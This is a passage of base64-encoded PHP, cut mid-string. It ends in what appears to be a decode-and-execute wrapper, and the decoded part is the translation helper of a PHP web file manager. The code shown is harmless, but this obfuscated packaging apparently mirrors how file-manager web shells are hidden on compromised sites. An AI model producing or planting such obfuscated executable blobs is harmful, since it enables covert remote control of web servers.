c3RzJ10gICA9ICdGaWxlIG9yIGZvbGRlciB3aXRoIHRoaXMgcGF0aCBhbHJlYWR5IGV4aXN0cyc7DQoNCiAgICAkaTE4biA9IGZtX2dldF90cmFuc2xhdGlvbnMoJHRyKTsNCiAgICAkdHIgPSAkaTE4biA/ICRpMThuIDogJHRyOw0KDQogICAgaWYgKCFzdHJsZW4oJGxhbmcpKSAkbGFuZyA9ICdlbic7DQogICAgaWYgKGlzc2V0KCR0clskbGFuZ11bJHR4dF0pKSByZXR1cm4gZm1fZW5jKCR0clskbGFuZ11bJHR4dF0pOw0KICAgIGVsc2UgaWYgKGlzc2V0KCR0clsnZW4nXVskdHh0XSkpIHJldHVybiBmbV9lbmMoJHRyWydlbiddWyR0eHRdKTsNCiAgICBlbHNlIHJldHVybiAiJHR4dCI7DQp9DQoNCj8+")); ?>